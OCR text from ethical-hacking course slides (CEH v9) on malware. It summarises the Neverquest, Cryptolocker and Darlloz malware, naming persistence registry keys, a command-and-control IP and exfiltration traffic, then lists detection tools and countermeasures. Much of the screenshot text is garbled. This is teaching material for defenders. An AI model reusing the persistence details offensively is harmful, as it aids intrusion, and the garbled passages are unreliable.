b AD1EAD CEextzOBAEITE BB 55 D4 &4 BY 15 00 BA AU aEg. ..._"[Is _ ;:ﬁ' m
'.nn-i-l:ﬂFH CEexk o BBLAYTT c2 Il Db B0 B8 Ad @A 1<t.i.--8.0E0. | I'.I'.I.
-m-‘.lZﬂFFk . tzmehaiTy Ta G5 7@ & 69 GF &E Exception &.0... / B
AT | LI [111] 0B FF FF FF FF B3 [.0. f...D.H. tet 0., DOODOTA
*ﬂ—’ﬁf Eewt : BBGAITER 60 A6 00 BB 06 99 A6 A et 0.
Hu_ (1]

gl T AT

* Functions _ - = e | 3 Hex View-A =@ =]| W Names window

£

s

g .

fbCe+HOC
Emt:aption
Syplmim din
Semubly Ex
Syl TC w

s N R sl
3

5

* (g MRS Wenlain

i T I A

rainf] function ar <odék4. mamed “wirMain”

MArE (MY LYILE] LUUE L ELUSImES. ..

Flushing buffers,

File "€t ."Tl:\?!i.'! Files (NEE),1Da Freg\wingraphil.exe' 15 SuccessTully i =he database.

Compiling T1le "Ci\Program Files (w&6)\IDA Fres)idc\ida.idc™. ..

Executing funccion “main'...

Cospiling ™ile "Ci'Progras Files (x661\30& Fregide onload, 18, ..

Executing Fumction ‘OrLoad’, ..

IDA 18 GRA1yEine The iasut File...

(Von may =t i S .,

PROCACARSE  Down Dk T2GB

hitp://www.hex-rays.com
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Online Malware Testing: CE H
VirusTotal |

that analyzes suspicious files | | | € & € i & hps/wwwvinustotalcomenfle/ee 0eiunzencdsanssies seact scaibh s01d05¢ @, 77| =
and URLs and facilitatesthe | 1| = imaatston

detection of viruses, wormes, -
1|3 total

Trojans, etc.

SHAZSH ea2080 0 2eBed B 06552 158 14 c2ME20 111 fedl a0 S5 aca 116 022 1 8592528

File fiasme Bediifng T HE
W W Tl - Fogs Dnding v =
Datechon rats
L & 2 hops i ressetaloom 7 B

AR3ES e

WiusToba! s & Tres ViCD Mhal anadyzes suspiciouy ey an FireS Genanic il BES}
Lt & g g o= il BBE3S
T and ad kir

L]

Tregan Cream! GRooiZEE 1ol

SPRPWDUmRE

Trons WP SN To o ol s AR E2 PO Dumg
Reugs VAN LI sy R
Baadu<intarnadon HackTool WinZ2 Fevliump ag
CAT-QuiciHgal Hack Tool PUWDumip (Med 3 Vinig]

CHC FEWToM WINE2 PWDumpI0

Clamay Fircan. Py aump

1 Gormmigecn VHETeoimn. vJIT-0945

http://www.virustotal.com
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Online Malware Analysis
Services

Anubis: Analyzing Unknown Metascan Online

Binaries ' . http:/fwww.metascan-online.com
http:/fanubis.iseclab.org

Avast! Online Scanner 64N Bitdefender QuickScan
http://91.213.143.22 http:/fquickscan.bitdefender.com

Malware Protection Center M UploadMalware.com
https: v microsoft.com ' http:/fwww. uploadmalware.com

ThreatExpert Online Virus Scanner
http:/ v, threatexpert.com = http:/fwww fortiguard. com

Dr. Web Online Scanners A | ThreatAnalyzer
http./fvms. dnveb.com 3 http:/fwww. threattrocksecurity.com
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Trojan Analysis: Neverquest | C|EH

Coriifbed B Ethical Hachar

A new banking Trojan known as Neverquest, is active and being used to attack a
number of popular banking websites

This Trojan can identify target sites by searching for specific keywords on web
pages that victims are browsing

After infecting a system, the malware gives an attacker control of the infected
machine with the help of a Virtual Network Computing (VNC, for remote access)
and SOCKS proxy server

The Trojan targets several banking sites and steals sensitive information such as
login credentials that customers enter into these websites

The Trojan also steals login information related to social networking sites like
Twitter, and sends this information to its control server

https-//blogs. meafes.com
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Trojan Analysis: Neverquest
(Cont’d)

Once it infects a system, the Trojan
drops a random-name DLL with a
.dat extension in the %APPDATA%
folder

The Trojan then automatically runs
this DLL using regsvr32.exe /s [DLL
PATH] by adding a key under
“software\Microsoft\Windows)\
CurrentVersion\Run\.”

The Trojan tries to inject its
malicious code into running
processes and waits for browser
processes such as iexplorer.exe or
firefox.exe

Once the victim opens any site
with these browsers, the Trojan
requests the encrypted
configuration file from its control

Follerw TCF Stream

‘itr:nrn ': ontent

PEET /forumdisplay. php?fid=667167034 HTTP/1.1

Content -Type: ap, Hil:at'i-:n_-x-L-.'rn-.'-F-::rrr.-ur'lerlcuned

user-agent: Mozillasd.0 {compatible; MSIE B.0; windows NT 5.1; Trident/4.0; .NET CLR
2.0.50727; .NET CLR 3.0,.4506,2152; .MET CLR 3.5, 30729; .MET4.0C; .NET4.0E)

HaST ; Coam

Content-Length: 65

Cache-contraol: mo-cache

ES57 3IF7 BO00000 2 500000000002 ""i’JLIUn{' inf o=-R200 000205000101 00030AZAHTTR/1. 1 200 DK
B MgN_Dpenr esH.-J..-!. 3.6

DATE: Thi, 24 Jan 2014 10230151 &NT
Content-Type: OCTer/STream
Content-Length: 100327

Conmnect ion; kqnp- alive

e p---THslz....58]..>.0.
LF Al G s T Vo Dt A s Tl e
r

Encrypted config file II;;-L-

Entire conversation [L00GTD bytes)

Eimdl | Save s | Bt Hex Durnp C damays @ FRow

Filter Cut This Stream | | Close

EthicalHackx.com

https://blogs.mcafee.com
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Trojan Analysis: Neverquest
(Cont’d)

INC L
Chp KD, DUGHE WEN SEc (ENPAE)
IE SHORT COLTEAER
MOY ECx, DWGED BTA S5 |EEEes)
SDAE T4 LEA EAX, DUGED BTR £5: [ERF-G)
®OTD PO -
C708 41520333z flHo¥ peoRD PTR DS [ESD, a APIE Ttraing
59 oadvone  ||EEE <APLIR Pecospressions FROoBprEEs BAYS
| } =] TIET EAX, ETAX
rs 04 JNE SHORT OOLTEAFT
3300 MOR R, B
. EB 7l Bl =opT voA7TsBOR
®H45 FC HGY Eix, DNGED FTR B3 [TRF=4|
OAL7RLSL BLER 45474847 CEP DVWORED PTR DS: |I.l.:(|‘, AT4 54048
r r . T4 B 3% sHORT OOATHLAS

E0
PEFTRTCICIR | IR
The Trojan generates a unique ID number 4 | 1 1 ag—— \
[T

BBAD 4CE0AROD [MOY BT, DUGED BB BO; AR

that will be used in subsequent requests — \

karneld? InteclockadEnchangs

The reply is encrypted with aPLib
compression

The reply data is appended to an “AP32"
string, followed by a decompression routine

Ml |

The configuration file contains a huge el 5 AL, : :
amount of JavaScript code, a number of [onevoisofer &1 o6 | 61 4 6o[er b 5o cefe | Decrypted confi
bank websites, social networking websites, tofs 7 ¢ B i
and list of financial keywords

The JavaScript code in the configuration file
is used to modify the page contents of the
bank’s site to steal sensitive information

hps yyblogs. meafee.com
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Trojan Analysis: Neverquest
(Cont’d)

If the Trojan finds any of the keywords on a web page, it will steal the full URL and all user-entered
information and sends this data to the attacker

The Trojan sends a unigue 1D number followed by the full URL containing username and password

The Trojan also sends all web page contents compressed with aPLib to the attacker in the following
format

i Fotiews TCE Stranmm

Sk Comink

vi2d. 0) Gecko 2onoolol Fir

.'.--rll.l.l? VIAL .goBh =g SE1abta, 4, F1CL-. 0. REgian, ]
sE. Lai3st, 'Ilﬂg,l e Ili\.lb- O =TS CBOL_W
5. B, dMEoPep. 3, l:l
ISR o F

YolaeM
e

Endire converssbon GE3H bytes]

https://blogs. mcafes.com
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Virus Analysis: Ransom Cryptolocker

Ransom Cryptolocker is a ransom-ware that on execution locks the user's system
thereby leaving the system in an unusable state

It also encrypts the list of file types present in the user system

The compromised user has to pay the attacker with ransom to unlock the system
and to get the files decrypted

Infection and Propagation Vectors

The malware is being propagated via malicious links in spam e-mails which leads to
pages exploiting common system vulnerabilities

These exploit pages will drop Ransom Cryptolocker and other malicious executable
files on the affected machine

https#/kc.meafee.com
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Virus Analysis: Ransom Cryptolocker
(Cont’d)

Characteristics and Symptoms

The contents of the original files are encrypted using AES Algorithm with a randomly generated key u

Once the system is infected, the malware binary first tries to connect to a hard coded command and control :
server with IP address 184.164.136.134 {01}

If this attempt fails, it generates a domain name using random domain name algorithm and appends it with I
domain names such as .org, .net, .co.uk, .info, .com, .biz, and .ru

Encryption Technique

The malware uses an AES algorithm to encrypt the files. The malware first generates a 256 bit AES key and
this will be used to encrypt the files

In order to be able to decrypt the files, the malware author needs to know that key

To avoid transmitting the key in clear text, the malware will encrypt it using an asymmetric key algorithm,
namely the R5A public/private key pair

This encrypted key is then submitted to the C&C server

https:/ ke meoafee.com
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Virus Analysis: Ransom Cryptolocker
(Cont’d)

Once the system is compromised, the malware displays the below mentioned warning to the user and
demand ransom to decrypt the files

It maintains the list of files which was encrypted by this malware under the following registry entry

% HEEY CURRENT USER\Software\CryptoLocker\Files

On execution, this malware binary copies itself to *z2ppn=+2% location and deletes itself using a batch file

@ SAppData%\{2E376276-3A5A-0712-2BEZ2-FRF2CFFTECDS} .exes

-

Crvptol_

Your personal files are encrypted!
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Worm Analysis: Darlloz
(Internet of Things (IoT) Worm)

Darlloz is a Linux worm
that is engineered to
target the “Internet of
things”

It targets computers running
Intel x86 architectures and
also focuses on devices
running the ARM, MIPS,

and PowerPC architectures,
which are usually found on
routers, set-top boxes, and
security cameras

http:/fwww symantec.com
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Worm Analysis: Darlloz
(Internet of Things (IoT) Worm) (Cont’d)

Total number of identified IP addrezszes
that were infected with Darlloz

Total number of Darlloz infections
affected regions

Total number of identified OS finger
prints from infected IP addresses

Darlloz infections compromised Intel
based-computers or servers running on
Linux

Darlloz infections affected a variety of
loT devices, including routers, IP
cameras, etc.

http//www. symantec.com
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Worm Analysis: Darlloz
(Internet of Things (IoT) Worm) (Cont’d)

?'\..'-'1-'I'I-_.  EXeCuUutior

The main purpose of the worm is to mine crypto currencies

Upon execution, the worm generates IP addresses randomly, accesses a specific path
on the machine with well-known 1Ds and passwords, and also sends HTTP POST
requests which exploit the vulnerability

If the target is unpatched, it downloads the worm from a malicious server and starts
searching for its next target

Currently, the worm infect only Intel x86 systems because the downloaded URL in the
exploit code is hard-coded to the ELF binary for Intel architectures
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IModule Flow

= o

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

B |

Bt

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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How to Detect Trojans | C[EH

Scan for suspicious OPEN PORTS
Scan for suspicious RUNNING PROCESSES

Scan for suspicious REGISTRY ENTRIES

Scan for suspicious DEVICE DRIVERS W-’/"

installed on the computer
|

{
Scan for suspicious WINDOWS SERVICES \}.f(//

www.ethicalhackx.com

fmlrl-l Eshical Macker

|
Scan for suspicious STARTUP PROGRAMS Q‘f?

Scan for suspicious FILES and FOLDERS

Scan for suspicious NETWORK ACTIVITIES

Scan for suspicious modification to
OPERATING SYSTEM FILES

Run Trojan SCANNER to detect Trojans

EthicalHackx.com
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Sca:mmg‘fo Susplcmus]?arts C E H

fmln-l Eshical Macker

Trojans open unused ports in victim machine to connect back to Trojan handlers

D Look for the connection established to unknown or suspicious IP addresses

Admansstraton Command Prompt

System Administrator

R 5 pmd uction is Strictly Pr::hnh ted
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Port Monitoring Tools: TCPView
and CurrPorts

TCPView CurrPorts

TCPView show detailed listings of all TCP and UDP CurrPorts is network monitoring software that
endpoints on your system, including the local and displays the list of all currently opened TCP/IP
remote addresses and state of TCP connections and UDP ports on your local computer
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Scanning for Suspicious
Processes

Trojans camouflage themselves as Process Monitor
genuine Windows services or hide

their processes to avoid detection Process Monitor is 3 ;'ﬂﬂnitnr}ng
tool for Windows that shows file

Some Trojans use PEs (Portable system, registry, and process/
Executable) to inject into various thread activity

processes (such as explorer.exe or
web browsers)

d Process Monitor - Sysinternals www.sysinternals.com
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. Process Monitoring Tools

#EthicalHackx CEH v9

Process Explorer
http://technet.microsoft.com

System Explorer
http:/fsystemexplorer.net

HijackThis

http:/fsourceforge.net

Autoruns for Windows
http:/technet. microsoft. com

KillProcess
http:/forangelampsoftware. com

www.ethicalhackx.com

v

EthicalHackx.com

Security Task Manager
http:/fwww.neuber.com

Yet Another (remote) Process

Monitor
http:/fyaprocmon.sourceforge.net

MONIT

http://mmonit.com

ESET Sysinspector

http:/fwww.eset.com

OpManager

http://www. manageengine. com

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.

www.ethicalhackx.com

EthicalHackx.com




#EthicalHackx CEH v9
Scanning for Suspicious .-
Registry Enfries

2 Windows automatically executes
instructions in

& ERun
BunServices
EunOnce
BunServicesOnce

HKEY CLASSES ROOT\exefi
le\shell\open\command
ES LTS

sections of registry

Scanning registry values for
suspicious entries may indicate
the Trojan infection

Trojans insert instructions at
these sections of registry to
perform malicious activities
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i Finds registry errors, unneeded
registry junk and helps in detecting
registry entries created by Trojans
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Registry Entry Monitoring Tool:
RegScanner
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Registry Entry Monitoring Tools

Reg Organizer ‘o) MJ Registry Watcher

http:/ wnw. chemtable.com http:/fwww jacobsm.com

Registry Viewer N Active Registry Monitor
http:/faccessdota.com hittp:/fuwwdevicelock.com

Comodo Cloud Scanner o= Regshot
httpe S v, comodo, com http://regshot.sourceforge.net

Buster Sandbox Analyzer : Registry Live Watch
http:/fbsa.isoftware. nl e i http:/Meelusoft.blogspot.in

All-Seeing Eyes E ' Alien Registry Viewer

http:/fwanw, fortego.com http:/Masthit.com
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Scanning for Suspicious Device
Drivers

Trojans are installed along with device drivers downloaded from
untrusted sources and use these drivers as a shield to avoid detection

Scan for suspicious device drivers and verify if they are genuine and
downloaded from the publisher's original site

Go to Run = Type msinfo32 = R W =

Software Environment —)Bystem S Sy, ickien T Tawi e

Hardwate AR R i
ompnnetl

Drivers ot Enveremus|
= Lk :

EnaTRE Yl

Prosd Jobm

Trojan Device
4 Driver
[

cdrom.sys

CTTREEETTE =

Attacker

Jrarch asimted cxisgoey ondy Stk calpgory mame only
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CEH

Device Drivers Monitoring

Tool: DriverView

DriverView utility displays the list of all device drivers currently loaded on system. For
each driver in the list, additional information is displayed such as load address of the
driver, description, version, product name, company that created the driver, etc. é <

Eile Edit View Options Help

End Address i File Type Deseription Version Company

VELELLE m__ o+
@ acpie.sys 00000000 003E. ., Dymamic Link.., ACPIEx Driver 6.3.9600.16384  Microsoft Co...  Microg
@ afclsys (00000000106,  DDODOOODO1OF. .. Systemn Drver Ancillary Functi... 53960016384 Micresoft Co...  Micros
@ ahcachesys DOODO000 TSR,  DDODOODOT19.... 7 System Drver  Application Ce...  6,3.9600,16384 Micresoft Co..,  Micros
@ aswMonFltsys  0DDDDOOOTO2AZ..  DDODODOOD2ES... System Driver  avast! File Syste...  5.0.2013.252 AVAST Softw... avast!,
@ aswRdr2.cys C0OO000000104...  DODDDOOOT10E. Metwork Driver  avast! WFP Redir.. 9.0.2006.149 AVAST Softw... awvast!,
@ sswhvrteys BODO0O000113..,  DODDOODOD114... Fystemn Driver 2.0.2004,130
@ aswSnwsys DO0DOG00D144...  DDDDOOOO'D154... System Driver  avast! Virtualizat... 9.0.2013.252 AVAST Saftw.. awast!,
@ aswSP.sys 000000000140,  DODDOOOOD146... System Driver  avast! seff prote...  9.0.2013.252 AVAST Softw.. awvast!,
@ aswtm.sys (000000003 IE.. DOODOOOD'O3IF.. Diriver Stream Filter §.0.2013.292 AVAST Softw.. awvast!,
@ aswVmm.sys DODOOOO0OIGF...  DDD000O00111... System Drrver 9.0.2010.245
@ BasicDisplay.sys 00000000°0170... OO000000DITE... Display Driver  Microsoft Basic ..  6.3.9600,16384 Micresoft Ce...  Micros
@ BasicRendersys 000000000147,  0000000070148... Display Driver  Microsoft Basic .. 6.3.5600,16384 Microsoft Co...  Micros
@ Beep 5¥S DOODDOO0D14T...  DDODDODOD147... System Oriver  BEEP Diniver £,3.9600.16384 Microsoft Co...  Micros
@ BOOTVID.dil OOODDOO00O1C... DODDODOODD1C... Display Driver  ¥GA Boot Driver £6.3.9600.16384 Microsoft Co... Micros
@ bowser.sys DOOOD00002BA... DDODOODOD2BL... System Oriver  NT Lan Manage...  6.3.9600.16384 Microsoft Co...  Micros v
€ »

137 temnis), 1 Selected

hitp://www.nirsoft.net
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Device Drivers Monitoring Tools

Driver Detective . Driver Reviver

http: /S www. drivershg.com ol http:/fwwwreviversoft.com

Unknown Device Identifier ServiWin
http:/fwww. thangduo.com { http:/fwwwenirsoft.net

DriverGuide Toolkit ' " Double Driver
httpe v, driverguidetoolkit.com 3 http:/funwwe. boozet.org

InstalledDriversList My Drivers
http: /S wanw nirsoft.net http:/fwww.zhangduo.com

Driver Magician DriverEasy
http /S wanw, drivermagician.com { http:/fwww. drivereasy.com
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Scanning for Suspicious
Windows Services

J Trojans spawn
Windows services

allow attackers s Enterprise Service Manager | = | = [
remote control to the File View Action Help

victim machine and

pass malicious Service Type
instructions + Begulw " Davers Al Refresh Select a workstation | < ocal Machin

Tr(}jaﬂ g rename their Display Name | Desciiption | Computer | Status | Path | Startup Type
. @ Extensible Authertication.. @Zsystemio.. <Local . Stop.. CAWL. Manual
FESERESas (O look like @ Erciypling File System [E... @%SystemR.. <local.. Rurn. Ci\Wi.. Automatic
a genuine Windows L gEMPUpsa | [docal. [Rum. |CAPL [ Adtomalic |
service in order to @ W/indows Event Log @FSystemB... <Local.. Runn. CAWL. Automatic
@& COM+ Event System @cormwes.dl.... <Local.. Runn.. CAWi. Awtomatic
@& Function Discovery Provi.. @®systerwo..  <Local .. Stop.. C\Wi.. Manual
Trc:-jaﬂ 5 emDIDY @ Function Discovery Reso... @Xsystermo...  <Local ... Stop.. CWwWi., Manual
2 ; @@ Windows Font Cache Ser.. @%systemwo.. <Local.. Runn.. CAWi. Automatic
rootkit techn o b to @& windows Presentation Fo... @%SystemB... <local.. Stop.. C\Wi. Manual
manipu late O Microsolt FTP Service @Xwinde%h... <lLocal... Runn.. CAWi. Aulomatic

HKET_LD CAL_MACHI N E.\ : gﬁﬂrm-m Palirn I"'Ik:r.';r‘ e ¢l maal R e MJ;\;ISE LE:;:;.:H:- IDHEH;
System\CurrentControlS ki cpUeit) sttt 2 Z

et\Services registry keys
to hide its processes

avoid detection
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Windows Services Monitoring Tool:
Windows Service Manager (SxrviVian)

Windows Service Manager simplifies all common tasks related to Windows services.
It can create services (both Win32 and Legacy Driver) without restarting Windows,
delete existing services, and change service configuration

File View Service Help

paarid Host Contraller

Muciosoft ACP! Dirver

Micsosoft ACPIE = Dirrves

ACP! Processor Aggregator Driver
ACP! Power Meter Dinver

ACP Wake Alarrn Drver
ADPSI

Applcation Expenence

Aneillary Funchon Dives fai Winsock
Irdel AGP Bus Filter

Apphcation Compaticdity Cache
Apphcation Laper Gateway Service
AMD KB Froceszor Dirves

AMD Processor Dinvei

Sytem3Xdieers\ ] 394chei sy
\SpstemF oo\ Spstem I dineers) Jwane. spes
\SupstermnPaothSpstem 32 drmeers\ACFL sy
SSpstermnP oot System 32D mvershacmex sys
WSpstemBoot\System32drivers\acpipagr. sy
\opstemBoot\System32hvdrivers\acpipmi svs
WSpsternB oot\System3vdrneers\acpitime. sys
\SpstemFoot\SpstemINdreer\ADPED SYE
C:Nwindows\systemI2avchost exe & netsves
\SpshemB oatioyshem 3N divers\ald sye
\SpstemB oot System3Ndriversiagpddll sys
wetem32DRINVERS \ahcache. sys
Ciwimdows'\System32valg exe
SowsternRoot\System 32 dmeers\amdk B s
\SisteriF oot Syster32dinvers\ardpp. si

Start gepeice

Dedate seirvace

nepan fernce

Ewxt

http://tools.sysprogs.org
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Windows Services Monitoring
Tools

SMART Utility @ | AnVir Task Manager

http:/fwanw thewindowsclub. com m http:/fwwwanvir.com

Netwrix Service Monitor = Process Hacker
http:/fwunw netwrix.com = B http://processhacker.sourceforge.net

Free Windows Service

Monitor Tool
http:/fwww. manageengine. com

PC Services Optimizer
httpeS S wnane smartpeutilities.com

ServiWin - : Nagios Xl

http: /S wanw nirsoft.net . iR http:/fwww.nagios.com

Windows Service Manager i
Service+

Tr ay o 1 http:/fwww.activeplus.com
http://winservicemanager.codeplex.com
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Scanning for Suspicious Startup clEn
Programs

Check startup
program entries Details are covered in next slide

in the registry

Check device
‘ drivers automati C:\Windows\System32\drivers
-cally loaded

‘ Check e Check boot. ini or bed (bootmgr) entries
boot.ini
‘ Chefk Weiens Go to Run = Type services.msc = Sort by
services
Startup Type

automatic started

C:\ProgramData\Microsoft\Windows\Start
' Check startup = Menu\Programs\startup
folder C:\Users)\ (User-Name) \AppData\Roaming\
Microsoft\Windows\Start Menu\Programs\Startup
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Startup Programs Monitoring
Tool: Security AutoRun

Security AutoRun displays the list of all applications that are loaded automatically when
Windows starts up

W HRCU B (1) W HAM [Run (2 A Sk ) - 1) 1 Starbup (comeson) - () [ st

#EthicalHackx CEH v9

W Actnn (5)

i wrogen m

W 00U [ Explores-Aun (7) W 1 Desitop (1)

£} Erovers - (285 8] hopin BlLs[2) 4| Krow DL )

W MM [Fun Once (1) W LM | sheliOtect (1)
Eevar e i
L[ LR S Lk Apelcation
7 e g Uptrrate drmart
B iFam Zan
Logupdars Tene geiale Sevree [agelalE)
Lgupdsten ol LAl ST A [ NIE
¥ |EEteColectarSer...  [nberret Exploner ETW Coliecter Se...
MsoTe Tenibaibed Transsrbon Coor drator
(hrscer ver Wirdzws Instaler
¥ Tregrec SWIDLA Diapsay Deiver Sevvice
DrwijpdshsSense  SVIDLA Lipoaie Servios Deemon
" lose Office Sousoe Engine
B omprec Oiffion Softwars Protecion Patfm
= | Perfinst Performance Counter UL Moot
= rcmed Qemgte Padet Copture Protocsl v,
= (Apclocate Semate Procedare Cal B9 Lecator
= nphomt Mol Stmage Snaces P
winerRe P Trag
= | Spocker B Sonoler
[ - Hﬂnl'[ Protedsos
A5beres Sanace WA Sterecscooc 3 Dirver Ser...
" oy Wrden e Adpacton (ANER]
DR secreanlt Softnars Shadew Cegr P._.
Tralelslaler Srdord Madobes Famabe
B |L00Detert Inter ache Sevvices Deteton

£ BumOnesEs [
SunbSeracestnoe ()
RunServnes (3

I Croers (265
&) Finow Dills

&) LstDues )
A2 Applnet (LS

W foplnt Duls (1)
(2] Gtk et Ten

3 Task Scheduier [}
& Ini Starp

b Wi (1)

+ Systemin {1)

S A EREAEEB 00 NS EEEBRESBDOEEORN

<

[ 35} Rewng HEEY LO(LAL MACHIME,SWSTEM, Cu menbCoatolSet Serd ces

W HM [ Run Oncesx (1) - St frervices) - (79

W Losd -Run {2 W M | Explorer
W Ham [Rurserces 1) W HaM jRontervicesonce (1)

A Scheduled Tagks [} & i St (2

Falh
£ ik it 13 vt eve Brooemid: (108,
Crparie e S Eetoi s v b drkagee
(e wye e 1 s sae

e Wy i Pl (oS ieaoghs Lirets \Googiel bdaie ..
e Pvagram Fii CoBRGoogks L indats (ool et . .,
Crifndess wyriem il EE beColeiorn. et MY

Crifndens gyaiemdd maexes. e

e et e e 20 WAl B

“CriProgram Fees (e WWVID LA Corporation (RE0HA Upd
CxiPregram Fies (xBECommon FlesHoese’t Shared), .,
s iPragram Fles Woommon FlasMcroeoft Shared YO fos. .
CriMmcoses \Svei oo 4 per et awe

Cr\Program Ples (bS] rPoap pcspd axe” -4 -F LR
C:ittndess wysterdocator exn

£ omralomes S e 30 wvchond, eee & sepheed
Criindoss S yeben 3 \smotrsp 2w

£+ 'incdons \Syien 33 ook ene

L= rogram Fies (xBEVWVIIA Corporabon D Vieon'ry...
Srifndes wriemi paioct e + g

EriAniemd S e 50 Wvehaal s & By

E s itnadews Sy I 00D 160 T Sae

http./ftcpmonitor. altervista.org
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Startup Programs Monitoring
Tools

PCTuneUp Free Startup

Manager
http:/fwww. potuneupsuite.com

Fd

Autoruns for Windows
http://technet.microsoft.com

C

ActiveStartup | o Disable Startup
http:/fwanw hexilesoft.com | hittp:/ A disablestartup.com

(®

StartEd Pro WinPatrol

httpe/Swanw outertech.com http:/ fwww.winpatrol.com

&

Startup Delayer = Chameleon Startup Manager

httpe v r2.com.au ] http:/ v chamelean-managers.com

Startup Manager Startup Booster
http//startupmanager.org http:/fwww.smartpetools.com

P I ]
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Scanning for Suspicious Files
and Folders

Trojans normally modify system’s files and folders. Use these tools to detect system changes

SIGVERIF

J It checks integrity of critical files that have been digitally signed by Microsoft
2 Tolaunch SIGVERIF, go to Start = Run, type sigverif and press Enter

FCIV

d It is a command line utility that computes MD5 or SHA1 cryptographic hashes for files

2 You can download FCIV at http://download.microsoft.com

TRIPWIRE

J  Itis an enterprise class system integrity verifier that scans and reports critical ISRI'ALRIR
system files for changes S -

TAKE CONTROL.
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Files and Folder Integrity
Checker: FastSum and WinlVIDS5

Fie Bdf Dptora Hegs
5 - : Crarranthy Frocassing file)
x L.z - fl Fegeder now [0 fama enguesed

Fazh Faa [ Byear [ Feavur A
Chcere Uve (Bes or @ orire ol you warl (o mae o o Fies | El PHERRICTARSTL et Iad JAERSWN

| et adapnm: ik | pTE R 8111 ] Bnlnewm

| k. 8 LT Bnknn
5 AReryou sive the rewults you will be sbis bo check 1hs miegrty of your fles. | Emdvd 11 13§ TETRERTE FTRES kR

W) Press the Save fr+5) button to save SneaceasInsts LI DaEdRdlal 20186 Inknsen
s | dnmzz . txs 1 2 dT 6o FET Hrnknowen
o] Diapelany e ol pust i e et wdb, chk SEPEASITIERE T3 TAT TS Snb bR nct 193 Hrknsen

Hame = Sire  Checkaum'Siste ey A it
] C\Progam Fles W06 FomSun\E..  BEKB DI 4FFSFSSACALIAACHETSSRAZ60365 dbresthl jes  D2a22062badeTINIIAted10becRt3 Smhneun
P C\Program Flet WEET FastSum’F F%F 31 DSDDEBFSAAT | S ARREZE0AFRA2 = ;
¥ C'\Progam Fles (<BE]\FastSum'F FESR00E1 AT IIFFSIAAAIR 74400 i liwsrl Iurmizesr o s e e fsmef [ BLCHRSLIM A e
£\ Program Fies (B6] FastSum' 13830F D4BCOCESARF | S2ISEZTTS04AF3 D Shee e MOSSUM o 7 il sble] imac hin window, btz e bt e
| C\Program Fles (6] FastSum' A IME  CI1Z41456ABBSEAZE0LLG2I0AFERRESS
5] Co\Program Fiss 6B6T FaSum'f ADIAEEBZ7C0900BEAI30CEIINMS1E28] : ;
€ C\Frogam Fies febbl FastSum's THE 5165500F ASFOSEREEEAEITE2ERE358T http.//www.blisstonia.com
B! Ci\Program Fies (EETFastSumih 1KE  ZSFIE0AERITCIEAZECS40CRAEFETFIB
4 C-\Frogram Fies b7 FastSum'a B52FE4EBFECEZBCSCAZ L TFCEAECOCTE
C:\Program Fles 6BET FastSuma MKE SCIIF296C1851B10ACETFTMFEEDBLE

4 WinMDS is a Windows utility for computing the
Cabculation process has begun at 2/28/2014 10:21:30 AM MD5 hashes ("fingerprints") of files

el gk e A J These fingerprints can be used to ensure that

[ Salacted 325 MBin 128iss Ofciden the file is uncorrupted
gl

http://www.fastsum.com

FastSum is used for checking integrity of the files

It computes checksums according to the MD5S checksum algorithm
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Files and Folder Integrity
Checker

Advanced CheckSum Verifier
(ACSV)

http/ S wanw, irnis. net

PA File Sight

hittp:/fww poweradmin.com

Fsum Frontend CSP File Integrity Checker
http://fsumfe.sourceforge. net hittp:/fuwww tandemsecurity.com

Verisys ExactFile
http S waanwe, fonx. co.uk http:/funwwe. exactfile.com

AFICK (Another File Integrity

Checker)
http://afick.sourceforge.net

OSSEC

http:/fwww.ossec.net

FileVerifier++ T Checksum Verifier

httpe/Swanw, programminguniimited.net - http: v bitdreamers.com
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Scanning for Suspicious
Network Activities

Trojans connect back to handlers and send confidential information
to attackers

y

Use network scanners and packet sniffers to monitor network traffic
going to malicious remote addresses

Run tools such as Capsa to monitor network traffic and look for
suspicious activities sent over the web

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Detecting Trojans and Worms
with Capsa Network Analyzer

Capsa is an intuitive network analyzer, which provides detailed information
to help check if there are any Trojan activities on a network

S el e

e e e I
Prinecs % - Full Ay - Cofatf Gaana
: PR (et ) | | At
ORI e p— || — 2
T T
" #

ma
L

8
Y

Total Traftic by Byies

= :'.:;'.: 102 ILERM LI .!1'- LB
Top If Total frathe by Bytes = % | |og Applcation Proiodos by Byies

winze | | -
| i Hidban Mades 00

43LE390 4

unren | |

&

http://www.colasoft.com
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Virus Detection Methods £ ELI

Integrity

Scanng Checking

Interception
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Virus Detection Methods (|gH

Code
Emulation

J In code emulation techniques, the
anti-virus executes the malicious
code inside a virtual machine to
simulate CPU and memory
activities
This techniques is considered very
effective in dealing with encrypted
and polymorphic viruses if the
virtual machine mimics the real
machine

#EthicalHackx CEH v9

(C'ﬂ'ﬂt Td) Cartified | Evbical Macker

Heuristic
Analysis

S

T

Heuristic analysis can be static or
dynamic

In static analysis the anti-virus
analyses the file format and code
structure to determine if the code
is viral

In dynamic analysis the anti-virus
performs a code emulation of
the suspicious code to determine
if the code is viral
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IModule Flow

= o

Introduction Trojan Virus and Worm Malware Reverse
to Malware Concepts Concepts Engineering

B |

Bt

Malware Counter- Anti-Malware Penetration
Detection measures Software Testing
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Trojan Countermeasures
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C|EH

Coriifbed B Ethical Hachar

Avoid opening email attachments received
from unknown senders

Block all unnecessary ports at the host and
firewall

Avoid accepting the programs transferred by
instant messaging

Install patches and security updates for the
operating systems and applications

S5can CDs and DVDs with antivirus software
before using

= o
are—

Restrict permissions within the desktop
environment to prevent malicious
applications installation

Harden weak, default configuration settings
and disable unused functionality including
protocols and services

Avoid typing the commands blindly and
implementing pre-fabricated programs or
scripts

Monitor the internal network traffic for odd
ports or encrypted traffic

Manage local workstation file integrity
through checksums, auditing, and port
scanning

Avoid downloading and executing applications
from untrusted sources

Run host-based antivirus, firewall, and
intrusion detection software
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Backdoor Countermeasures | C/IEH

Coriifbed B Ethical Hachar

Most commercial anti-virus products can automatically scan and detect
backdoor programs before they can cause damage

SH. YN

Educate users not to install applications downloaded from untrusted Internet
sites and email attachments

backdoors

@ Use anti-virus tools such as McAfee, Norton, etc. to detect and eliminate

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.
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Virus and Worms Countermeasures

Install anti-virus software that detects and
removes infections as they appear

Generate an anti-virus policy for safe

- _ m— computing and distribute it to the staff
Pay attention to the instructions while

Mﬂwnlﬂading files or any programs from
the Internet

e s

Update the anti-virus software

regularly
Avoid opening the attachments received

from an unknown sender as viruses

